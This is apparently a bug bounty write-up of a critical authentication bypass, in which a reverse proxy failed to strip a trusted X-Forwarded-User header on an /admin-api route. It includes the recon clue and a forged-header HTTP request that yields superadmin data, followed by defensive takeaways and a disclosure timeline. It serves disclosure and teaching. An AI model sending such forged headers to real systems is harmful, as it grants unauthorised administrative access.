Bug Hunting Journey

Writeups Auth bypass

Auth bypass · critical

The header the reverse proxy forgot to strip

Severity Critical CVSS 9.1
Impact
Full administrative access with no authentication
Bounty
$2.5k - $5k
Program
Private

TL;DR

The back office delegated authentication to the reverse proxy through an X-Forwarded-User header. The proxy did strip that inbound header on /admin, but not on /admin-api, exposed for the same service. A forged header was enough to become an administrator.

Delegating authentication to the reverse proxy is a perfectly defensible pattern - as long as every front door strips the trusted header. At ██████████████ there were two, and only one of them did.

How you land on it

A subdomain sweep turns up admin.target.tld, which 302s to SSO. Standard, and properly locked. But the back-office JavaScript, served before the redirect, mentions a second base URL:

admin.7b31.js - excerptJavaScript
const API_BASE = window.__CFG__.adminApi ?? '/admin-api';

/admin-api/whoami answers 401 with no redirect. So: a separate authentication path. And the error body hands over a clue:

401The clueresponse
HTTP/2 401 Unauthorizedcontent-type: application/json{"error":"missing_identity_header","expected":"X-Forwarded-User"}

Exploitation

GETForged headerrequest
GET /admin-api/users?limit=5 HTTP/2Host: admin.target.tldX-Forwarded-User: ||system.administrator@target.tld||
200OKresponse
HTTP/2 200 OKcontent-type: application/json{"users":[{"id":1,"email":"████████████████","role":"superadmin"}, …]}

No password, no token, no interaction. I stop at five records and report.

Takeaways

  • A trusted header must be stripped at the boundary, not per route. The stripping rule belongs to the entry point, for everything that sits behind it.
  • An error message that names the expected header does half the attacker’s work. 401 on its own would have been plenty.
  • Back-office JS bundles are served before the SSO redirect in most setups: they describe the internal architecture to anyone who takes the time to read them.

Disclosure timeline

  1. Report sent
  2. Emergency mitigation route pulled from public exposure within the hour
  3. Fix deployed
  4. Cleared for publication